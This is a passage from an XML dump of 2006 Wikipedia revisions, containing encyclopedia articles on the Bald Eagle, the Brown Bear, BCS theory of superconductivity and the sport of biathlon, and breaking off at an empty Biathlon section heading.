[[zh:熊科]]</text>
    </revision>
  </page>
  <page>
    <title>Bald Eagle</title>
    <id>4401</id>
    <revision>
      <id>42111321</id>
      <timestamp>2006-03-03T22:16:46Z</timestamp>
      <contributor>
        <ip>80.65.73.27</ip>
      </contributor>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Bald Eagle
| status = {{StatusLeastConcern}}
| image = Haliaeetus leucocephalus.jpg
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Bird|Aves]]
| ordo = [[Falconiformes]]
| familia = [[Accipitridae]]
| genus = ''[[Haliaeetus]]''
| species = '''''H. leucocephalus'''''
| binomial = ''Haliaeetus leucocephalus''
| binomial_authority = ([[Carolus Linnaeus|Linnaeus]], [[1766]])
}}

The '''Bald Eagle''' (''Haliaeetus leucocephalus'') is a [[bird of prey]] indigenous to [[North America]], most recognizable as the [[national bird]] of the [[United States]]. The species was on the brink of [[extinction]] late in the [[20th century]] but has largely recovered and now has a stable population and is in the process of being removed from the [[Federal government of the United States|U.S. federal government]]'s list of [[endangered species]]. 

The bird gets both its common and scientific names from the distinctive appearance of the adult's head. ''Bald'' in the [[English language|English]] name refers to the white head feathers, and the scientific name is derived from ''Haliaeetus'', the [[New Latin]] for &quot;sea eagle,&quot; (from the [[Greek language|Greek]] ''haliaetos'') and ''leucocephalus'', the Greek for &quot;white head,&quot; from ''leukos'' (&quot;white&quot;) and ''kephale'' (&quot;head&quot;).

==Range and habitat==
Bald Eagles can be found in small concentrations throughout the U.S. and [[Canada]], particularly near large [[body of water|bodies of water]]. The state with the largest resident population is [[Alaska]]; out of the estimated 100,000 Bald Eagles on [[Earth]], half live in Alaska. 
==Description==
[[Image:bald.eagle.longshot.arp.500pix.jpg|200px|thumb|left|Bald Eagle at Combe Martin Wildlife and Dinosaur Park, North Devon, England]]
An immature bird has speckled brown [[feather]]s all over, the distinctive head and body [[plumage]] arriving 2&amp;ndash;3 years later, before sexual maturity. Adult females have a wingspan of approximately 2.1 meters (7 feet); adult males have a wingspan of 2 meters (6 feet, 6 inches). Adult females weigh approximately 5.8&amp;nbsp;kg (12.8&amp;nbsp;lb), males weigh 4.1&amp;nbsp;kg (9&amp;nbsp;lb).

They are protected by three federal laws.  The eagle law which protects bald and golden eagles, the migratory bird act, and were on the endangered species list up until February 13, 2006 when they were removed from the list.

==Behavior==
Bald Eagles build huge nest platforms out of branches, usually in large trees. Pairs, who mate for life, add material to the nest each breeding season. After several years, the nest may weigh upwards of a thousand pounds or more.

Bald Eagles which are old enough to nest often return to the area in which they were raised. They are more social than many other raptor species: an adult bald eagle looking for a nesting site is more likely to select a location that contains other immature eagles than one with no eagle population.

Bald Eagles are powerful fliers, and ride thermal convection currents to range far.

They have a long lifespan, with reports of birds in captivity living to be 60 years old.

They do not scream as often shown on television.  Usually the call of a red-tailed hawk is placed over the image of a flying eagle.  They squeak and have a shrill cry, punctuated by grunts.

==Reproduction==
Bald Eagles are sexually mature at 4 or 5 years of age. Mated pairs produce between one and three [[egg (biology)|egg]]s per year, but it is rare for all three chicks to successfully fledge. Third chicks are sometimes removed from nests to use in [[reintroduction]] programs in areas where the species has died out. 

In such programs, the [[bird]]s are raised in boxes, on platforms in the tree canopy, and fed in such a way that they cannot see the person supplying their food, until they are old enough to fly and find their own food.

==Diet==
The Bald Eagle's diet is varied, including [[carrion]], [[fish]], smaller [[bird]]s, [[rodent]]s, and sometimes food scavenged or stolen from campsites and picnics.
To hunt, the eagle swoops down over the water and snatches the [[fish]] out of the water with its claws. They eat by holding the fish in one claw and tearing the flesh with the other.  Eagles have structures on their toes called spiricules that allow them to grasp fish. [[Osprey]] also have this adaptation.

Sometimes, if the [[fish]] is too heavy, the eagle will be dragged into the water. It may swim to safety, but some eagles drown or succumb to [[hypothermia]].

==Eagles and humans==
As the symbol of the United States the bald eagle is sought after in captivity.  As a rule they are poor birds for public shows being timid and prone to becoming highly stressed.  Captive eagles who have been mutilated or crippled and are thusly non-releasable may go from home to home to home as they require specific housing and care.

If raised from a hatchling you can expect a terror of a creature, if the eagle [[imprint]]s on humans as a species it may or may not choose one person to bond with and attack or be very aloof to all others.  The eagle may hate the human who raised it.  [[Raptor]] expert [[Jemima Perry Jones]] does not believe that [[creche]] raising, where hatchlings are raised together to imprint on each other works either to produce an unimprinted adult raptor.  Due to their immense strength and unpredictable nature bald eagles should only be kept by very competently trained individuals who have all the proper permits.

==Rare vagrant==
This species has occurred as a [[Vagrancy (biology)|vagrant]] once in [[Ireland]]. The exhausted specimen was discovered by a [[national park]]s worker in a northern heath. Presumably, a storm blew it out to sea, and the bird struggled across the [[Atlantic Ocean]].

==National Bird of the US==
The Bald Eagle is the national bird of the United States of America. When the United States was being established, [[Benjamin Franklin]], one of the founding fathers and a signer of the Declaration of Independence, wished the national bird to be the [[Wild Turkey]]. Franklin believed the turkey was a good choice as it provided food for the early settlers and had a noble appearance. Franklin didn't want to have the Bald Eagle as the national symbol of the U.S. because it often stole food from other birds.{{fact}} However, he was outvoted by the other members of the Continental Congress who felt that the Bald Eagle symbolized strength and alertness and that it would look much better as a national symbol.

==Gallery==
&lt;gallery&gt;
Image:Bald eagle.jpg|Adult
Image:Bald-eagle.jpg|Adult resting
Image:Haliaeetus_leucocephalus.jpeg|Adult
Image:Bald Eaglehead.jpg
Image:A03 4663 1024x683.JPG|Female on nest with egg
&lt;/gallery&gt;

==External links==
{{commons|Haliaeetus leucocephalus}}
*[http://images.fws.gov/default.cfm?fuseaction=records.display&amp;CFID=2060719&amp;CFTOKEN=64720564&amp;id=5C7D1A7F%2DF41E%2D4C0A%2D87A4F0A6E628BD0E 11.9&quot; x 8&quot; 1.24 MB Bald Eagle JPEG] provided by the U.S. Fish &amp; Wildlife Service

&lt;!--Categories--&gt;


&lt;!--Interlanguage links--&gt;

[[Category:Eagles]]

[[da:Hvidhovedet havørn]]
[[de:Weißkopfseeadler]]
[[eo:Blankkapa maraglo]]
[[fi:Valkopäämerikotka]]
[[fr:Pygargue à tête blanche]]
[[ja:ハクトウワシ]]
[[nl:Amerikaanse zeearend]]
[[pl:Bielik amerykański]]
[[pt:Águia de cabeça branca]]
[[sv:Vithövdad havsörn]]</text>
    </revision>
  </page>
  <page>
    <title>Brown Bear</title>
    <id>4402</id>
    <revision>
      <id>41526197</id>
      <timestamp>2006-02-27T23:16:01Z</timestamp>
      <contributor>
        <username>Hartebeest</username>
        <id>607367</id>
      </contributor>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Brown Bear
| status = {{StatusConcern}}
| image = Brown_bear_rearing.jpg
| image_width = 250px
| image_caption = Brown Bear rearing
| image2 = Bear-footprint.jpg
| image2_width = 250px
| image2_caption = Brown bear footprint
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[mammal|Mammalia]]
| ordo = [[Carnivora]]
| familia = [[Ursidae]]
| genus = ''[[Ursus (biology)|Ursus]]''
| species = '''''U. arctos'''''
| binomial = ''Ursus arctos''
| binomial_authority = [[Carolus Linnaeus|Linnaeus]], [[1758]]
| range_map = Ursus arctos distribution.jpg
| range_map_caption = Brown Bear range
| range_map_width = 250px
}}

The '''Brown Bear''' (''Ursus arctos'') is a species of [[bear]] that can reach weights of [[1 E2 kg|130&amp;#8211;700&amp;nbsp;kg]] (300&amp;#8211;1500&amp;nbsp;[[pound (weight)|pound]]s). The '''[[Grizzly Bear]]''' (''Ursus arctos horribilis''), the '''Kodiak Bear''' and the '''Mexican Brown Bear''' are [[North America]]n [[subspecies]] of the Brown Bear. It is sometimes referred to poetically as the ''[[bruin]]''.

==Appearance==
Brown Bears have furry coats in shades of blonde, brown, black, or a combination of those colors; the long outer guard hairs are often tipped with white or silver, giving a &quot;grizzled&quot; appearance. Brown bears have a large hump of [[muscle]] over their shoulders which give strength to the forelimbs for digging. Their forearms end in massive paws tipped with extremely powerful claws that can be up to 15 cm in length. Unlike the claws of other large predatory animals, such as lions or tigers, the claws are not retractable. This gives the claws a dull edge when compared to other predators. The Brown Bear possesses tremendous power; a large specimen can break a bison's spine with one blow of its powerful forepaw. Despite the relatively dull edges to their claws, the sheer force of a blow from a large specimen is devastating. Their heads are large and round with a [[concave]] facial profile. In spite of their size, some have been clocked at speeds in excess of 56 km/h (35 mph). Along with their strength and deceptive speed, Brown Bears are legendary for their physical stamina. They are capable of running at full speed for miles at a time without stopping. The largest subspecies of the Brown Bear are the Kodiak Bear and Alaskan Coastal Bear. It is not uncommon for a large male Kodiak to stand 10 feet in height while on its hind legs, and weigh over 680 kg (1,500 lb). The tallest bears have been known to reach heights of 4 m (13 feet) when standing. The largest bear ever recorded was a Kodiak that weighed over 1134 kg (2500 lb) that was brought to the [[Berlin Zoo]] directly from [[Kodiak Island]]. Bears of this size weigh near 1500 kg (3307 lb) in the zoo, due to regular feeding.

==Habitat==
Once native to [[Asia]], the [[Atlas Mountains]] in [[Africa]], [[Europe]] and [[North America]] [http://news.bbc.co.uk/2/hi/science/nature/4003325.stm], brown bears are now extinct in some areas and have had their numbers greatlly reduced in others. They prefer semi-open country, usually in mountainous areas. The Brown Bear ranges from [[Alaska]] east through the [[Yukon]] and [[Northwest Territories]], south through [[British Columbia]] and through the western half of [[Alberta]]. Isolated populations exist in northwestern [[Washington]], northern [[Idaho]], western [[Montana]], and northwestern [[Wyoming]].
*The subspecies ''U. arctos horribilis'' (the [[Grizzly Bear]]) is the common brown bear of continental North America;
*The subspecies ''U. arctos middendorffi'' (Kodiak Bear) includes bears on the Alaskan islands of [[Kodiak Island]], [[Afognak Island]], and [[Shuyak Island]].
*The range of the subspecies ''U. arctos nelsoni'' is in northern [[Mexico]].
*In Asia, the '''Himalayan Brown Bear''' (''U. arctos isabellinus'') is found in the foothills of the [[Himalaya]],
*and the '''Higuma''' or Hokkaido Brown Bear (''U. arctos yesoensis'') is found on the northern Japanese island of [[Hokkaido]].

It is not known how long ''Ursus arctos'' has existed in North America. While there were certainly some there during the last part of the Ice Age, it is thought that the Brown Bear was not the dominant carnivore at the time. That role belonged to the far larger, taller, and stronger [[Giant Short Faced Bear]], aka [[Bulldog Bear]], which was almost certainly dominant when the two animals met. The Giant Short Faced Bear was adapted for fast running and meat from rather large animals was the main part of its diet, in contrast to the Grizzly or Brown Bear, which has teeth adapted to an omnivorous diet. The Giant Short Faced Bear, on average, weighed twice as much as the Grizzly, despite some exceptional Grizzly Bears in the later Old West that were recorded to have grown to 800 [[kilogram]]s or so. 

''Ursus arctos'' also shared the land with the [[American Lion]] and [[Sabertooth]], both apparently also dependent on large animals for food. But the Grizzly could eat plant food, insects, carrion, small animals of all kinds, and large mammals if needed, in contrast to the far more restricted food menu available to the giant cats and the Giant Short Faced Bear. This made the other big carnivores very vulnerable to starvation if the supply of available large mammals gave out, which eventually happened through hunting by humans.

For whatever reason the Ice Age herbivorous megafauna became extinct; the [[Sabertooth]], [[American Lion]], and [[Short Faced Bear]] could no longer find enough suitable food, and faded into extinction, leaving the Brown Bear alone as top North American predator, with  [[Wolf|Wolves]], the [[Jaguar]] in the south, the [[American Black Bear]], and [[Puma]] also competing for large prey. It is not known precisely how long humans have lived in America, but the biggest human emigration there was about the time of the last Ice Age period, when the [[Paleo-Indian]]s showed up. These people brought with them the [[Clovis Point]] and advanced hunting techniques. If these people were responsible for wiping out the Ice Age herbivore megafauna, it can be argued that ''Ursus arctos'' benefited in numbers and range by the extinction of the competing predators.

In Europe, the Brown Bear outlasted the larger and closely related [[Cave Bear]] but the reasons why the Cave Bear became extinct are not clear. The Cave Bear was hunted by the [[Neanderthals]] who may have had a religion relating to this bear, the so-called [[Cave Bear Cult]], but Neanderthal populations were not numerous. The Cave Bear also outlasted the Neanderthals by about 18,000 years, going extinct about 10,000 years ago.  It thus held its own in Europe against fully modern humans for 180 centuries. Its diet was similar to the Brown Bear, which probably lived in the same lands all this time, so why it died out is a mystery.

There are estimated to be about 200,000 Brown Bears in the world. The largest populations are in Russia, with 120,000, United States, with 32,500, and Canada with 21,750. Ninety-five percent of the population in the United States is in Alaska, though in the West the bears seem to be repopulating slowly but steadily along the [[Rockies]] and plains. In Europe, there are 14,000 brown bears in ten separate fragmented populations, from [[Spain]] to [[Russia]] and north into [[Scandinavia]]. They are extinct in the [[British Isles]], extremely threatened or extinct in [[France]] and in trouble over most of Central Europe. The Brown Bear is [[Finland]]'s national animal. The Carpathian Brown Bear population is the largest one in Europe outside Russia, estimated at 4,500 to 5,000 bears.

In one respect the potential habitat of the Brown Bear has been increasing. The warming of the [[Arctic]] region has allowed the species to move farther and farther north into what was once exclusively the domain of the [[Polar Bear]].

==Behaviour==
The Brown Bear is primarily [[nocturnal]] and, in the summer, puts on up to 180 kg (400 pounds) of [[fat]], on which it relies to make it through winter, when it becomes very lethargic. Although they are not true [[hibernation|hibernators]] and can be woken easily, they like to den in a protected spot such as a [[cave]], crevice, or hollow log during the winter months.

They are [[omnivore]]s and feed on a variety of plant parts, including berries, [[root]]s, and 
[[shoot|sprout]]s; [[fungus|fungi]]; and [[fish]], [[insect]]s, and small [[mammal]]s. Contrary to popular mythology, Brown Bears are not particularly carnivorous; they derive up to three-quarters of their dietary [[food energy]] from vegetable matter. Interestingly, bears eat an enormous number of [[moth]]s during the summer (sometimes as many as 20,000 to 40,000 in a day) and may derive up to a third of their food energy from these insects. They also occasionally prey on [[deer]] (''Odocoeilus'' spp.; ''Dama'' spp., ''Capreolus'' spp.), [[Red Deer]] (''Cervus elaphus'' or American elk), [[Moose]] (''Alces'' spp.) and [[Wild Boar]] (''Sus scrofa''). However, even the largest Brown Bears think twice before trying to tackle a [[wild boar]], as their sharp tusks and fierce demeanor can discourage the hungriest predators.

Brown Bears have also been found stealing the kills of [[Tiger]]s, [[wolf|Wolves]], and [[Puma]]s. Two male Tigers were found killed by brown bears in the year 2000. In areas where Brown Bears and [[Siberian Tiger]]s coexist, the cubs are occasionally killed by the large [[feline]]s.

Normally a solitary animal, the Brown Bear congregates alongside streams and rivers during the [[salmon]] spawn in the fall. Every other year females produce one to four young, which weigh only about 1 to 2 kg (2 to 5 lb) at birth. Raised entirely by their mother, the cubs are taught to climb trees at the sign of danger.

===Habituation to human areas===
[[Image:Grizzly SierraMag July2005.jpg|thumb|300px|right|''A fed bear is a dead bear'' - bears are relocated when possible, but repeat offenders may be killed when they have associated humans with food sources.]]
With the encroachment of humans into bear habitat, bears may become attracted to human-related food sources such as garbage dumps, litter bins, dumpsters, and so on, and may even venture into human dwellings or barns in search of food. In the U.S., it is not unheard of for a bear to kill and eat farm animals.  Once a bear comes to associate human activity with a &quot;food reward&quot;, a bear is likely to continue to become emboldened in its quest for food and human/bear encounters become more likely.  There is a saying, ''&quot;a fed bear is a dead bear&quot;'', which has come into use to popularize the idea that allowing bears to scavenge human garbage, pet food, or other food sources that draw the bear into contact with humans can result in disaster for the bear.  

Relocation has been used as a public appeasement strategy, and does not address the problem bear's newly learned &quot;humans as food source&quot; behavior. Nor does it address the environmental situations which created the human habituated bear. ''&quot;Placing a bear in habitat used by other bears may lead to competition and social conflict, and result in the injury or death of the less dominant bear. [http://www.bearsmart.com/managingBears/Relocation.html]&quot;'' 

Though bears have been relocated to areas distant from human populations, some bears become &quot;hooked&quot; on a given food source and will return to the same location.  Bears that have repeatedly returned to a given area, and thus have become perceived as dangerous, are sometimes killed to prevent human injuries or death.

[[Yellowstone National Park]], an enormous reserve located in the Western United States, contains prime habitat for the Grizzly Bear (''Ursus arctos horribilis''), but due to the enormous number of visitors, human-bear encounters are not rare.  The scenic beauty of the area has led to an influx of people moving into the area. In addition, because there are so many bear relocations to the same remote areas of Yellowstone, and because male bears tend to dominate the center of the relocation zone, female bears tend to be pushed to the boundaries of the region and beyond. The result is that a large proportion of repeat offender bears, bears that are destroyed for the public safety, are females. This creates a further depressive effect on an already endangered species (the Grizzly Bear is officialy described as ''threatened'' in the U.S). Though the problem is most significant with regard to Grizzlies, these issues affect the other types of Brown Bear as well. 

In Europe, part of the problem lies with [[shepherd]]s; over the past two centuries, many sheep and goat herders have gradually abandoned the more traditional practice of using [[dog]]s to guard flocks (which have concurrently grown larger). Typically they allow the herds to graze freely over sizeable tracts of land. As bears reclaim parts of their range, they may take livestock as a means of survival. The shepherd is forced to shoot the bear to protect his livelihood, the community goes up in arms, and often the bears pay the price.

==Subspecies==
The subspecies of brown bears have been listed as follows; however, there is little agreement on classification:-
* ''[[Ursus arctos arctos]]'' &amp;ndash; European Brown Bear
* ''[[Ursus arctos californicus]]'' &amp;ndash; Golden Bear (extinct)
* ''[[Ursus arctos crowtheri]]'' &amp;ndash; Atlas Bear (extinct)
* ''[[Ursus arctos horribilis]]'' &amp;ndash; Grizzly Bear; Canada &amp; United States
* ''[[Ursus arctos isabellinus]]'' &amp;ndash; Himalayan Brown Bear; Nepal and North India
* ''[[Ursus arctos middendorffi]]'' &amp;ndash; Kodiak Bear; Kodiak, Afognak &amp; Suyak Islands (Alaska)
* ''[[Ursus arctos nelsoni]]'' &amp;ndash; Mexican Grizzly Bear; (extinct?)
* ''[[Blue Bear|Ursus arctos pruinosus]]'' &amp;ndash; Tibetan Blue Bear; Western China 
* ''[[Ursus arctos yesoensis]]'' &amp;ndash; Hokkaido Bear; Japan
* ''[[Ursus arctos beringianus]]'' &amp;ndash; Siberian Brown Bear; Siberia 
* ''[[Ursus arctos syriacus]]'' &amp;ndash; Syrian Brown Bear; Middle East
* ''[[Ursus arctos gobiensis]]'' &amp;ndash; Gobi bear; Mongolia

==Legal status ==
The Grizzly Bear (sometimes called the '''silvertip bear''') is listed as threatened in the [[Continental United States|contiguous United States]]. It is currently slowly repopulating areas where it was previously extirpated, though it is still vulnerable.
* The Golden Bear disappeared from the state of [[California ]] in [[1922]] when the last one was shot in [[Tulare County, California]]. It can be seen on the state [[flag of California]] and as the mascot of the sports teams of the [[University of California, Berkeley]].
* The Mexican Grizzly Bear is listed as [[endangered species|endangered]] and may be extinct. 
* The Grizzly Bear is listed as threatened in the [[lower 48]] states of the United States. In Canada, it is listed as vulnerable in Alberta, British Columbia, Northwest Territories, and Yukon Territory. Prairie populations of Grizzly Bear are listed as extirpated in Alberta, Manitoba, and Saskatchewan.

==Bear encounters==
It is extremely rare that brown bears kill or seriously injure humans but fatal encounters do happen. There are an average of two fatal attacks a year in North America&lt;ref&gt;''Bear Attacks: Their Causes and Avoidance'', Stephen Herrero, revised edition, 2002.&lt;/ref&gt;. In [[Scandinavia]] there are only three known cases during the last 100 years where humans have been killed by bears. This has usually happened because the bear is injured or a human encounters a mother bear with cubs. Some types of bears such as [[Polar Bear]]s, are more likely to attack humans when searching for food while [[American Black Bear]]s are much less likely to attack.

The Scandinavian Bear Research project lists the following situations as potentially dangerous:
#Meeting an injured bear
#A human suddenly appearing between a mother and her cubs
#Meeting a bear in its cave
#Meeting a bear who has been provoked by a dog

A careful person should always try to avoid these situations. Anybody who walks in a forest where there are bears could carry around a bell since a Brown Bear's natural instinct is to run away from humans; in groups trail songs are also effective. If camping, do not bring food into the tent and be sure to clean up all garbage; a bear thinks with its stomach. If one still meets a bear it is important to remain calm and to slowly walk in the opposite direction. A running human may trigger the bear's chasing instinct and typically a running bear can outrun a human adult. It is important not to make threatening moves, not to make eye contact nor to shout.

If a Brown Bear attacks and it is not possible to get away, the person should lie down in a [[fetal position]] and put his/her hands around the head to protect from bites. Do not panic. 

===Other bear encounters===
[[American Black Bear]]s, which attack to kill and to eat, require a different technique. For these, the person should huddle together if in a group, raise hands or backpack in the air to appear bigger, as well as make lots of noise. There is a good chance of scaring away a Black Bear. If it attacks anyway, fight back. Black Bears will often disengage if injured. The best defense, however, is to make plenty of noise in areas with bears to scare them away before an encounter.

==References==
&lt;references/&gt;

== External links ==
{{commons|Ursus arctos}}
*[http://www.sinapu.org/Pages/Bears/Grizzly_Bears.htm Grizzly Bears in the Southern Rockies]
*[http://www.nationalgeographic.com/kids/creature_feature/0010/ ''National Geographic'' Creature Feature: Brown Bears]
*[http://www.grizzlybear.org/gbstatus/griznum.htm GrizzlyBear.org]
*[http://www.lairweb.org.nz/tiger/conflict10.html Bears]
*[http://www.boone-crockett.org/bgRecords/WorldRecordsDetail.asp?area=bgRecords&amp;type=SKULLS  Largest Skulls - Black Bear] 
* Spanish bear news (http://www.iberianature.com/material/spainbearnews.htm) regularly-updated news archive on Brown Bears in Spain 
*[http://www.wildanimalsonline.com/mammals/brownbear-grizzly.php Brown Bear (Ursus arctos) facts and photos] - Wild Animals Online encyclopedia

[[Category:Bears]]
[[Category:Fauna of the Alps]]

{{Link FA|no}}

[[ast:Osu Pardu]]
[[bg:Кафява мечка]]
[[cs:Medvěd hnědý]]
[[da:Brun bjørn]]
[[de:Braunbär]]
[[es:Ursus arctos]]
[[eo:Bruna urso]]
[[fr:Ours brun]]
[[it:Ursus arctos]]
[[he:דוב חום]]
[[la:Ursus arctos]]
[[lt:Rudasis lokys]]
[[nl:Bruine beer]]
[[ja:ヒグマ]]
[[no:Brunbjørn]]
[[pl:Niedźwiedź brunatny]]
[[pt:Urso pardo]]
[[ru:Бурый медведь]]
[[sl:Rjavi medved]]
[[fi:Karhu]]
[[simple:Brown Bear]]
[[sv:Brunbjörn]]
[[vi:Gấu nâu]]
[[zh:棕熊]]</text>
    </revision>
  </page>
  <page>
    <title>BCS theory</title>
    <id>4403</id>
    <revision>
      <id>41578755</id>
      <timestamp>2006-02-28T07:02:10Z</timestamp>
      <contributor>
        <username>Mdmanser</username>
        <id>270941</id>
      </contributor>
      <minor />
      <comment>punctuation fixed</comment>
      <text xml:space="preserve">'''BCS theory''' (named for its creators, Bardeen, Cooper, and Schrieffer) successfully explains [[conventional superconductor|conventional superconductivity]], the ability of certain [[metal]]s at low [[temperature]]s to conduct [[electricity]] without [[electrical resistance|resistance]]. BCS theory views [[superconductivity]] as a macroscopic [[quantum mechanics|quantum mechanical]] effect. It proposes that [[electron]]s with opposite [[spin (physics)|spin]] can become paired, forming Cooper pairs. Independently and at the same time, superconductivity phenomenon was explained by [[Nikolay Bogoliubov]] by means of the so-called [[Bogoliubov transformations]].

In many superconductors, the attractive interaction between electrons (necessary for pairing) is brought about indirectly by the interaction between the electrons and the vibrating crystal lattice (the [[phonon]]s). Roughly speaking the picture is the following:

An electron moving through a conductor will cause a slight increase in concentration of positive charges in the lattice around it; this increase in turn can attract another electron. In effect, the two electrons are then held together with a certain binding energy. If this binding energy is higher than the energy provided by kicks from oscillating atoms in the conductor (which is true at low temperatures), then the electron pair will stick together and resist all kicks, thus not experiencing resistance.

BCS theory was developed in 1957 by [[John Bardeen]], [[Leon Neil Cooper|Leon Cooper]], and [[John Robert Schrieffer|Robert Schrieffer]], who received the [[Nobel Prize]] for Physics in 1972 as a result.

In 1986,  &quot;[[high-temperature superconductivity]]&quot; was  discovered (i.e. superconductivity at temperatures
considerably above the previous limit of about 30 K; up to about 130 K). It is believed that at these temperatures other effects are at play; these effects are not yet fully understood. (It is possible that these unknown effects also control superconductivity even at low temperatures for some
materials).

An excellent introduction to BCS theory and related areas of [[condensed matter physics]] at the graduate level is [[John Robert Schrieffer|Schrieffer]]'s book, ''Theory of Superconductivity'', ISBN 0-7382-0120-0.

== More details ==

BCS theory starts from the assumption that there is some attraction between electrons, which can overcome the [[Coulomb repulsion]]. In most materials (in low temperature superconductors), this attraction is brought about indirectly by the coupling of electrons to the [[crystal lattice]] (as explained above). However, the results of BCS theory do ''not'' depend on the origin of the attractive interaction. The original results of BCS (discussed below) described an &quot;s-wave&quot; superconducting state, which is the rule among low-temperature superconductors but is not realized in many &quot;unconventional superconductors&quot;, such as the &quot;d-wave&quot; high-temperature superconductors.
Extensions of BCS theory exist to describe these other cases, although they are insufficient to completely describe the observed features of high-temperature superconductivity.

BCS were able to give an approximation for the quantum-mechanical state of the
system of (attractively interacting) electrons inside the metal. This state is
now known as the &quot;BCS state&quot;. Whereas in the normal metal electrons move independently, in the BCS state they are bound into &quot;Cooper pairs&quot; by the attractive interaction. 

BCS have derived several important theoretical predictions that are independent
of the details of the interaction (the quantitative predictions mentioned below hold only for sufficiently weak attraction between the electrons, which is however fulfilled for many low temperature superconductors
- the so-called &quot;weak-coupling case&quot;). These have been confirmed in numerous experiments:

* Since the electrons are bound into Cooper pairs, a finite amount of energy is needed to break these apart into two independent electrons. This means there is an &quot;energy gap&quot; for &quot;single-particle excitation&quot;, unlike in the normal metal (where the state of an electron can be changed by adding an arbitrarily small amount of energy). This energy gap is highest at low temperatures but vanishes at the transition temperature when superconductivity ceases to exist. BCS theory correctly predicts the variation of this gap with temperature. It also gives an expression that shows how the gap grows with the strength of the attractive interaction and the (normal phase) single particle [[density of states]] at the [[Fermi energy]]. Furthermore, it describes how the density of states is changed on entering the superconducting state, where there are no electronic states any more at the Fermi energy. The energy gap is most directly observed in tunneling experiments and in reflection of microwaves from the superconductor.

* The ratio between the value of the energy gap at zero temperature and the value of the superconducting transition temperature (expressed in energy units) takes the universal value of 3.5, independent of material.

* Due to the energy gap, the specific heat of the superconductor is suppressed strongly ([[exponential decay |exponentially]]) at low temperatures, there being no thermal excitations left. However, before reaching the transition temperature, the specific heat of the superconductor becomes even higher than that of the normal conductor (measured immediately above the transition) and the ratio of these two values is found to be universally given by 2.5.

* BCS theory correctly predicts the [[Meissner effect]], i.e. the expulsion of a [[magnetic field]] from the superconductor and the variation of the penetration depth (the extent of the screening currents flowing below the metal's surface) with temperature. 

* It also describes the variation of the critical magnetic field (above which the superconductor can  no longer expel the field but becomes normalconducting) with temperature. BCS theory relates the value of  the critical field at zero temperature to the value of the transition temperature and the density of states at the Fermi energy.

''Original reference'':
J. Bardeen, L. N. Cooper, and J. R. Schrieffer, &quot;Theory of Superconductivity&quot;, 
''Phys. Rev.'' '''108''' (5), 1175 (1957).

{{four-fermion interactions}}

[[Category:Superconductivity]]

[[ca:Teoria BCS]]
[[de:BCS-Theorie]]
[[es:Teoría BCS]]
[[ko:BCS 이론]]
[[id:Teori BCS]]
[[it:Coppia di Cooper]]
[[ja:BCS理論]]
[[pl:Teoria BCS]]</text>
    </revision>
  </page>
  <page>
    <title>Biathlon</title>
    <id>4405</id>
    <revision>
      <id>42070603</id>
      <timestamp>2006-03-03T16:48:10Z</timestamp>
      <contributor>
        <username>Wernher</username>
        <id>19431</id>
      </contributor>
      <minor />
      <comment>reinstate /* Concise history */ sec and mark as {{section-stub}}</comment>
      <text xml:space="preserve">'''Biathlon'''  (not to be confused with [[duathlon]]) is a term used to describe any sporting event made up of two disciplines. Biathlon, however, usually refers specifically to the [[winter sport]] that combines [[cross-country skiing]] and [[rifle|rifle shooting]]. Another popular variant is summer biathlon, which combines cross-country running with riflery.

Biathlon events are broadcast most regularly where the sport enjoys its greatest popularity, namely [[Germany]] ([[Das Erste|ARD]], [[ZDF]]), [[Norway]] ([[Norsk Rikskringkasting|NRK]]), [[Finland]] ([[Yleisradio|YLE]]), [[Sweden]] ([[Sveriges Television|SVT]]), [[Russia]] ([[RTR]]), [[Belarus]] ([[TVR (Belarus)|TVR]]), [[Slovenia]] ([[RTV Slovenia|RTV]]), [[Estonia]] ([[ETV (Estonia)|ETV]]) and [[Bulgaria]]; it is also broadcast on European-wide [[Eurosport]].

The broadcast distribution being one indicator, the constellation of a sport's main [[sponsor]]s usually gives a similar indication of popularity: for biathlon, these are the Germany-based companies [[E.ON|E.ON Ruhrgas]] (energy), [[Krombacher]] (beer), and [[Viessmann]] (boilers and other heating systems).
[[Image:Jeremy Teela 2002 Olympics.jpg|thumb|right|[[United States|U.S.]] biathlete Jeremy Teela at the [[2002 Winter Olympics]].]]

== Concise history ==

The sport has its origins in an exercise for [[Norway|Norwegian]] [[soldier]]s. The first known competition took place in [[1767]] when border patrol companies competed against each other. Gradually the sport became more common throughout [[Scandinavia]] as an alternative training for the [[army|military]]. 
Called '''[[military patrol]]''', the combination of skiing and shooting was demonstrated at the [[Winter Olympic Games|Olympic Winter Games]] in [[Military patrol at the 1924 Winter Olympics|1924]], [[Military patrol at the 1928 Winter Olympics|1928]], [[Military patrol at the 1948 Winter Olympics|1936]] and [[Military patrol at the 1948 Winter Olympics|1948]], but did not gain Olympic recognition then, as the small number of competing countries disagreed on the rules (see also Governing body, below).

The first [[Biathlon World Championships|World Championship]] in the sport was held in [[1958]] in [[Austria]], and in [[1960]] the sport was finally included in the [[1960 Winter Olympics|Olympic Games]]. At [[1992 Winter Olympics|Albertville]] in 1992, women were first allowed in Olympic biathlon.

{{section-stub}}

== Governing body ==

In [[1948]], the '''''U'''nion '''I'''nternationale de '''P'''entathlon '''M'''oderne et '''B'''iathlon '''(UIPMB)''''' was founded, to standardise the rules for biathlon and [[modern pentathlon]].  In [[1993]], the biathlon branch of the UIPMB created the '''''I'''nternational '''B'''iathlon '''U'''nion '''(IBU)''''', which officially separated from the UIPMB in [[1998]].

Presidents of the UIPMB/IBU:
* [[1948]]&amp;ndash;[[1949]]: [[Tom Wiborn]] ([[Sweden]])
* [[1949]]&amp;ndash;[[1960]]: [[Gustaf Dyrssen]] (Sweden)
* [[1960]]&amp;ndash;[[1988]]: [[Sven Thofelt]], (Sweden)
* [[1988]]&amp;ndash;[[1992]]: [[Igor Novikov (athlete)|Igor Novikov]] ([[Soviet Union|USSR]]/[[Russia]])
* From&amp;nbsp;&amp;nbsp;[[1992]]: [[Anders Besseberg]] ([[Norway]])

== Champions ==

The following articles list major international biathlon events and medalists. Contrary to the Olympics and World Championships (BWCH), the World Cup (BWC) is an entire winter season of (mostly) weekly races, where the medalists are those with the highest sums of World Cup points at the end of the season.

* [[Olympic medalists in biathlon]]
* [[Biathlon World Championships]]
* [[Biathlon World Cup champions]]

== Rules and equipment ==
